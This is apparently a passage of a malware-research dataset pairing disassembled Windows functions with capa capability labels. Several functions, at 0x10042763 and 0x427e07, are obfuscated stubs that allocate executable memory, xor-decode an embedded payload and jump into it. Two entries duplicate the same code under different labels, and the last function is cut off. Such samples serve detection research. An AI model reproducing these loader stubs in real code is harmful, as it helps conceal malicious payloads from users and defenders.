joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002f789
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
mov ecx, dword [esi + 0x48]
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov edx, dword [ebp + 8]
lea edi, [esi + 0x60]
mov dword [edx], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [edi]
mov dword [eax], ecx
cmp dword [esi + 4], 8
je 0x1002f7b4
cmp dword [esi + 4], 7
jne 0x1002f7d2
xor ebx, ebx
test ecx, ecx
je 0x1002f7d9
mov ecx, dword [esi + 0x48]
mov dword [esi + 0xa4], ebx
mov dword [edi], ebx
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov ecx, dword [ebp + 0xc]
mov ecx, dword [ecx]
mov byte [eax + ecx], bl
xor eax, eax
jmp 0x1002f887
cmp dword [esi + 0xa4], ebx
jne 0x1002f7d2
push dword [esi + 0x64]
push str.call_InternetReadFile_0x_08x__n
push 7
push 0xc
call fcn.1001ea75
add esp, 0x10
lea ecx, [esi + 0x34]
mov eax, dword [ecx]
push ebx
call dword [eax + 0x24]
mov ecx, dword [esi + 0x48]
mov eax, dword [ecx]
call dword [eax + 0x2c]
push edi
push 0x1000
push eax
push dword [esi + 0x64]
call dword [sym.imp.WININET.dll_InternetReadFile]
push dword [esi + 0x64]
test eax, eax
je 0x1002f862
push dword [edi]
push str.received__d_bytes_from_0x_08x_n
push 7
push 0xc
call fcn.1001ea75
mov ecx, dword [edi]
add esp, 0x14
test ecx, ecx
jne 0x1002f83d
mov dword [esi + 4], 9
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
mov ecx, dword [esi + 0x48]
mov dword [edi], ebx
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov ecx, dword [ebp + 0xc]
push ebx
mov ecx, dword [ecx]
mov byte [eax + ecx], bl
mov ecx, dword [esi + 0x48]
mov eax, dword [ecx]
call dword [eax + 0x34]
jmp 0x1002f7d2
push str.InternetReadFile_on_0x_08x_returned_FALSE_n
push 7
push 0xc
call fcn.1001ea75
add esp, 0xc
mov dword [esi + 0xa4], 1
lea ecx, [esi + 0x34]
push ebx
push ebx
call fcn.10042763
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x10032bfe
Capabilities:
Get common file path

Disassembly:
push 0x234
mov eax, 0x100a3d44
call fcn.1009de72
mov ebx, ecx
mov dword [ebp - 0x228], ebx
lea ecx, [ebx + 4]
mov dword [ebp - 0x230], ebx
call dword [sym.imp.fpsrvutl.dll_Ordinal_4936]
and dword [ebp - 4], 0
lea edi, [ebx + 8]
mov ecx, edi
call dword [sym.imp.fpsrvutl.dll_Ordinal_2954]
lea eax, [ebp - 0x22c]
mov byte [ebp - 4], 1
xorps xmm0, xmm0
lea ecx, [ebx + 0x10]
push eax
movlpd qword [ebp - 0x22c], xmm0
call dword [sym.imp.fpsrvutl.dll_Ordinal_1581]
push 0x1c
mov byte [ebx + 0xc], 0
call fcn.10042763
mov esi, eax
pop ecx
mov dword [ebp - 0x228], esi
mov byte [ebp - 4], 2
test esi, esi
je 0x10032ca1
movsd xmm0, qword [0x100c7b58]
push 0
push 1
push ecx
push ecx
movsd qword [esp], xmm0
mov ecx, esi
push 0x10035494
push 0x100354a9
push 0x10035502
push 0x10031614
push 0
call dword [sym.imp.fpsrvutl.dll_Ordinal_5937]
jmp 0x10032ca3
xor esi, esi
mov byte [ebp - 4], 1
push 0x20
mov dword [ebx + 0x20], esi
call fcn.10042763
pop ecx
mov dword [ebp - 0x228], eax
mov byte [ebp - 4], 3
test eax, eax
je 0x10032cca
mov ecx, eax
call dword [sym.imp.fpsrvutl.dll_Ordinal_5744]
jmp 0x10032ccc
xor eax, eax
mov byte [ebp - 4], 1
mov dword [ebx], eax
lea eax, [ebp - 0x21c]
push eax
xor eax, eax
push eax
push eax
push 0x1c
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x10032e13
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x224]
call dword [sym.imp.fpsrvutl.dll_Ordinal_5312]
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 4
call dword [sym.imp.fpsrvutl.dll_Ordinal_3213]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x224]
cmp word [eax + ecx*2 - 2], 0x5c
je 0x10032d32
push 0x100b4c6c
lea ecx, [ebp - 0x224]
call dword [sym.imp.fpsrvutl.dll_Ordinal_3702]
lea eax, [ebp - 0x224]
mov ecx, edi
push eax
call dword [sym.imp.fpsrvutl.dll_Ordinal_985]
push str.MicrosoftWebsiteCache_
lea ecx, [ebp - 0x220]
call dword [sym.imp.fpsrvutl.dll_Ordinal_5241]
lea eax, [ebp - 0x220]
mov byte [ebp - 4], 5
push eax
mov ecx, edi
call dword [sym.imp.fpsrvutl.dll_Ordinal_1682]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x220]
mov edi, dword [sym.imp.fpsrvutl.dll_Ordinal_2017]
call edi
push dword [ebx + 8]
lea ecx, [ebx + 4]
call dword [sym.imp.fpsrvutl.dll_Ordinal_5525]
push str.Websites.xml
lea ecx, [ebp - 0x220]
call dword [sym.imp.fpsrvutl.dll_Ordinal_2836]
lea eax, [ebp - 0x220]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebx + 4]
call dword [sym.imp.fpsrvutl.dll_Ordinal_2202]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x220]
mov esi, dword [sym.imp.fpsrvutl.dll_Ordinal_3409]
call esi
push dword [ebx + 8]
lea ecx, [ebp - 0x220]
call dword [sym.imp.fpsrvutl.dll_Ordinal_150]
push eax
lea ecx, [ebp - 0x240]
mov byte [ebp - 4], 7
call dword [sym.imp.fpsrvutl.dll_Ordinal_4804]
lea ecx, [ebp - 0x220]
mov byte [ebp - 4], 9
call esi
push 0
push 0
lea ecx, [ebp - 0x240]
call dword [sym.imp.fpsrvutl.dll_Ordinal_3988]
mov ecx, ebx
call fcn.1003324e
lea ecx, [ebp - 0x240]
call dword [sym.imp.fpsrvutl.dll_Ordinal_974]
lea ecx, [ebp - 0x224]
call edi
jmp 0x10032e17
mov byte [ebx + 0xc], 1
mov eax, ebx
call fcn.1009de27
ret
Function at 0x10042763
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10042772
pop dword [ebp - 0x38]
mov eax, 0x97de9753
add eax, 0x7825901f
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x8c7dbdde
sub dword [ebp - 0x48], 0x3e2b7893
mov dword [ebp - 0x44], 0xf5abe0cc
sub dword [ebp - 0x44], 0xc3789487
mov dword [ebp - 0x40], 0x7c1e6b4c
add dword [ebp - 0x40], 0xd02dd8e2
mov dword [ebp - 0x3c], 0xcd4670c9
sub dword [ebp - 0x3c], 0xcd4670c9
lea eax, [ebp - 0x48]
push eax
mov eax, 0x47b3ceca
sub eax, 0x37a8ce8e
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x83238820
add dword [ebp - 0x48], 0xf14ee136
mov dword [ebp - 0x44], 0x9ff9c045
add dword [ebp - 0x44], 0xa172a130
mov dword [ebp - 0x40], 0x1bde0331
add dword [ebp - 0x40], 0x4791693b
mov dword [ebp - 0x3c], 0x977efa4a
add dword [ebp - 0x3c], 0x688105b6
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xccc7dbb5
add eax, 0x434324cb
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x54835
push 0
call eax
mov ecx, 0xb595c33c
sub ecx, 0xb5956091
xor edi, edi
add edi, eax
mov esi, 0x10126c00
add esi, dword [ebp - 0x38]
mov ebx, 0x79e61f72
add ebx, 0xcd44be43
sub dword [ebp - 0x24], 0x8784db00
mov edx, dword [esi]
xor dword [ebp - 8], 0xc5e25165
add edx, ebx
mov dword [edi], edx
sub dword [ebp - 0x10], 0x12ce6392
add edi, 4
add esi, 0xf6258385
sub esi, 0xf6258381
loop 0x10042890
add eax, 0x63fa6164
add eax, 0x9c071c1b
mov ebx, eax
add eax, 0xc26d6596
add eax, 0x3d929a6f
mov ecx, 0x7f05a34a
add ecx, 0x90fa5cb6
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x100705e5
Capabilities:
Generate random numbers via winapi

Disassembly:
push 0x22c
mov eax, 0x100a9fc5
call fcn.1009de72
mov dword [ebp - 0x234], edx
mov edi, ecx
push edi
lea ecx, [ebp - 0x238]
call dword [sym.imp.fpsrvutl.dll_Ordinal_5241]
xor esi, esi
mov dword [ebp - 4], esi
mov ebx, dword [0x100f5db8]
add ebx, 0xe8
cmp dword [ebx], esi
jne 0x1007062e
push 0xf0000040
push 1
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov ebx, dword [ebx]
test ebx, ebx
je 0x10070740
lea eax, [ebp - 0x230]
push eax
push 0x18
push ebx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x10070740
mov eax, dword [ebp - 0x21c]
xor edx, edx
push 0x24
pop ecx
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x220]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x224]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x228]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x22c]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x230]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
push eax
push dword [ebp - 0x238]
lea eax, [ebp - 0x218]
push str._wswe_c_c_c_c_c_c.tmp
push 0xffffffffffffffff
push eax
call fcn.10042763
add esp, 0x28
lea eax, [ebp - 0x218]
cmp byte [ebp + 8], 0
je 0x10070731
push esi
push 0x80
push 1
push esi
push esi
push 0x40000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x10070724
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
je 0x10070638
cmp eax, 0x50
je 0x10070638
jmp 0x10070746
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
lea eax, [ebp - 0x218]
mov ecx, dword [ebp - 0x234]
push eax
call dword [sym.imp.fpsrvutl.dll_Ordinal_5525]
jmp 0x10070755
call dword [sym.imp.kernel32.dll_GetLastError]
push edi
mov edx, eax
mov ecx, 0x20002
call fcn.1002070b
mov esi, eax
lea ecx, [ebp - 0x238]
call dword [sym.imp.fpsrvutl.dll_Ordinal_2017]
mov eax, esi
call fcn.1009de27
ret 4
Function at 0x100707f0
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x100aa006
call fcn.1009de3f
mov esi, ecx
mov dword [ebp - 0x14], esi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.fpsrvutl.dll_Ordinal_4936]
push ebx
mov dword [ebp - 4], ebx
push ebx
mov dword [ebp - 0x10], 1
call dword [sym.imp.kernel32.dll_GetTempPathA]
mov edi, eax
test edi, edi
jle 0x1007088d
lea ecx, [edi + 1]
call fcn.1001d3c4
mov ebx, eax
test ebx, ebx
je 0x1007088d
push ebx
push edi
call dword [sym.imp.kernel32.dll_GetTempPathA]
push ebx
mov ecx, esi
mov byte [eax + ebx], 0
call dword [sym.imp.fpsrvutl.dll_Ordinal_4818]
push 0
mov ecx, esi
call dword [sym.imp.fpsrvutl.dll_Ordinal_3947]
push 0x5c
push 2
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
call dword [sym.imp.fpsrvutl.dll_Ordinal_5801]
push eax
mov ecx, esi
call dword [sym.imp.fpsrvutl.dll_Ordinal_687]
push 0x2f
push 2
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
call dword [sym.imp.fpsrvutl.dll_Ordinal_5801]
push eax
mov ecx, esi
call dword [sym.imp.fpsrvutl.dll_Ordinal_687]
push ebx
call fcn.10042763
pop ecx
mov eax, esi
call fcn.1009de13
ret
Function at 0x10098f2e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push edi
push 0x10
push 1
mov edi, 0x10000000
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x10098f73
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
test eax, eax
je 0x10098f73
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x10098f73
cmp word [eax + 2], 0
je 0x10098f73
cmp dword [eax + 0x28], 0xfeef04bd
jne 0x10098f73
add eax, 0x30
jmp 0x10098f78
mov eax, 0x100c7ac8
pop edi
pop esi
ret
Function at 0x427e07
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x427e16
pop dword [ebp - 0x2c]
mov eax, 0xdf3cca75
sub eax, 0xdefa4c5f
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x3fc62554
add dword [ebp - 0x3c], 0xe8c1ff7
mov dword [ebp - 0x38], 0x8fd249af
sub dword [ebp - 0x38], 0x5d9efd6a
mov dword [ebp - 0x34], 0x2203ff80
sub dword [ebp - 0x34], 0xd5b7bb52
mov dword [ebp - 0x30], 0x79dfc7c7
sub dword [ebp - 0x30], 0x79dfc7c7
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xf2b0fe09
sub dword [ebp - 0x3c], 0x7e3e94b3
mov dword [ebp - 0x38], 0x1d3833b6
sub dword [ebp - 0x38], 0xdbcbd241
mov dword [ebp - 0x34], 0x1e40da68
sub dword [ebp - 0x34], 0xbad16dfc
mov dword [ebp - 0x30], 0x94267cdf
sub dword [ebp - 0x30], 0x94267cdf
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xa79a9a6b
sub eax, 0xa75779e3
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x467c1
push 0
call eax
mov ecx, 0x5e89
mov edi, eax
mov ebx, 0x465600
add ebx, dword [ebp - 0x2c]
mov esi, 0x29bf8ea3
sub esi, 0x84a42d57
mov edx, dword [ebx]
add dword [ebp - 0x10], 0x928e8ab0
xor edx, esi
mov dword [edi], edx
sub dword [ebp - 0x20], 0xae9d2447
add edi, 0x15dc7520
sub edi, 0x15dc751c
add ebx, 0xa2115f9d
add ebx, 0x5deea067
loop 0x427f27
add eax, 0x16cf7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xfcc040dc
sub ecx, 0xfc8040dc
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x42211b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42215a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42215a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42215a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42215a
cmp dword [ecx + 0x74], 0xe
jbe 0x42215a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4347a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4347cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4347cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x421bd0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x16000]
push edi
or ebp, 0xffffffff
jmp 0x421bf2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x421bf9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x421be8
mov eax, 1
add ebx, ebx
jne 0x421c0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x421c1c
jne 0x421c2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x421c2c
dec eax
add ebx, ebx
jne 0x421c28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x421c00
xor ecx, ecx
sub eax, 3
jb 0x421c44
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x421cb6
sar eax, 1
mov ebp, eax
jmp 0x421c4f
add ebx, ebx
jne 0x421c4f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x421c5c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x421c80
inc ecx
add ebx, ebx
jne 0x421c6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x421c61
jne 0x421c7d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x421c61
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x421ca0
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x421c91
jmp 0x421bee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x421ca0
add edi, ecx
jmp 0x421bee
pop esi
mov edi, esi
mov ecx, 0x843
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x421cbe
cmp byte [edi], 0xd
jne 0x421cbe
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x421cc3
lea edi, [esi + 0x1f000]
mov eax, dword [edi]
or eax, eax
je 0x421d3b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x228e8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2299c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x421cf0
mov ecx, edi
jns 0x421d1f
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x229a0]
or eax, eax
je 0x421d35
mov dword [ebx], eax
add ebx, 4
jmp 0x421d0d
call dword [esi + 0x229a4]
popal
jmp section.UPX0
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420004]
jne 0x40100a
repz ret
jmp fcn.004013a0

Function at 0x40485b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x420004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403be3
and dword [ebp - 0x14], 0
cmp dword [0x422930], 0
mov dword [ebp - 0x18], eax
jne 0x40490e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4049b6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4049b6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x422930], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x422934], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x422938], eax
call edi
push eax
call esi
mov dword [0x422940], eax
test eax, eax
je 0x40490e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42293c], eax
mov eax, dword [0x42293c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x404967
cmp dword [0x422940], ecx
je 0x404967
push eax
call esi
push dword [0x422940]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x404967
test ebx, ebx
je 0x404967
call edi
test eax, eax
je 0x40495e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40495e
test byte [ebp - 8], 1
jne 0x404967
or dword [ebp + 0x10], 0x200000
jmp 0x40499a
mov eax, dword [0x422934]
cmp eax, dword [ebp - 0x18]
je 0x40499a
push eax
call esi
test eax, eax
je 0x40499a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40499a
mov eax, dword [0x422938]
cmp eax, dword [ebp - 0x18]
je 0x40499a
push eax
call esi
test eax, eax
je 0x40499a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x422930]
call esi
test eax, eax
je 0x4049b6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4049b8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x407118
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x40f580
mov eax, esi
mov edx, 8
test al, 1
je 0x407134
shr eax, 1
xor eax, 0xedb88320
jmp 0x407136
shr eax, 1
dec edx
jne 0x407127
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x407120
pop esi
ret

Function at 0x40714c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp byte [0x40f57c], 0
jne 0x40716a
call fcn.00407118
mov byte [0x40f57c], 1
mov eax, edi
test esi, esi
je 0x407195
mov edx, ebx
and dx, 0xff
xor ecx, ecx
mov cl, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x40f580]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x407170
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x403380
Capabilities:
Accept command line arguments
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call sub.ucrtbase.dll___p___argc
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call 0x4033f0
mov dword [esp], eax
call sub.ucrtbase.dll_exit
nop
nop
nop
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x54
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x403447
xor ecx, ecx
xor edx, edx
jmp 0x403429
cmp ax, 0x5c
jne 0x4034b0
add edx, 1
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x403447
cmp ax, 9
je 0x403435
cmp ax, 0x20
jne 0x403410
test ecx, ecx
je 0x40349b
movzx eax, word [ebx + 2]
add ebx, 2
xor edx, edx
test ax, ax
jne 0x403429
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x20], 1
je 0x4034d0
movzx esi, word [ebp - 0x1c]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00401a50
sub esp, 0x10
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
add ebx, 2
movzx eax, word [ebx]
cmp ax, 9
je 0x403498
cmp ax, 0x20
je 0x403498
jmp 0x403447
cmp ax, 0x22
jne 0x403439
and edx, 1
jne 0x403439
xor ecx, 1
jmp 0x40341d
mov eax, 1
mov esi, 1
mov word [ebp - 0x1c], ax
jmp 0x403460
Function at 0x4033f0
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call sub.ucrtbase.dll___p___argc
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call 0x4033f0
mov dword [esp], eax
call sub.ucrtbase.dll_exit
nop
nop
nop
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x54
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x403447
xor ecx, ecx
xor edx, edx
jmp 0x403429
cmp ax, 0x5c
jne 0x4034b0
add edx, 1
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x403447
cmp ax, 9
je 0x403435
cmp ax, 0x20
jne 0x403410
test ecx, ecx
je 0x40349b
movzx eax, word [ebx + 2]
add ebx, 2
xor edx, edx
test ax, ax
jne 0x403429
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x20], 1
je 0x4034d0
movzx esi, word [ebp - 0x1c]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00401a50
sub esp, 0x10
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
add ebx, 2
movzx eax, word [ebx]
cmp ax, 9
je 0x403498
cmp ax, 0x20
je 0x403498
jmp 0x403447
cmp ax, 0x22
jne 0x403439
and edx, 1
jne 0x403439
xor ecx, 1
jmp 0x40341d
mov eax, 1
mov esi, 1
mov word [ebp - 0x1c], ax
jmp 0x403460
Function at 0x100020f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp byte [eax + 0x1d4], 0
je 0x10002110
push eax
call fcn.1003e550
add esp, 4
test eax, eax
jne 0x1000212e
xor al, al
pop ebp
ret
mov eax, dword [eax + 0x190]
cmp eax, 0xffffffff
je 0x1000210c
push 2
push 1
lea ecx, [ebp + 0xb]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x1000210c
mov al, 1
pop ebp
ret

Function at 0x100027d0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1004e158]
mov dword [ebp - 8], 0x4020
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 4
test eax, eax
jne 0x10002821
push 3
push 2
push eax
push 6
call fcn.1002c270
add esp, 0x10
test al, al
je 0x10002815
mov dword [0x1004e158], 2
mov esp, ebp
pop ebp
ret
mov dword [0x1004e158], 1
jmp 0x10002826
cmp eax, 2
je 0x10002866
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x1000284d
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jg 0x10002866
push 4
lea eax, [ebp - 8]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov esp, ebp
pop ebp
ret

Function at 0x10002940
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp + 8]
push 4
push eax
push 1
mov esi, dword [edi]
push 6
push dword [ebp + 0xc]
mov dword [ebp + 8], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x10002988
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
call fcn.1002b7b0
push eax
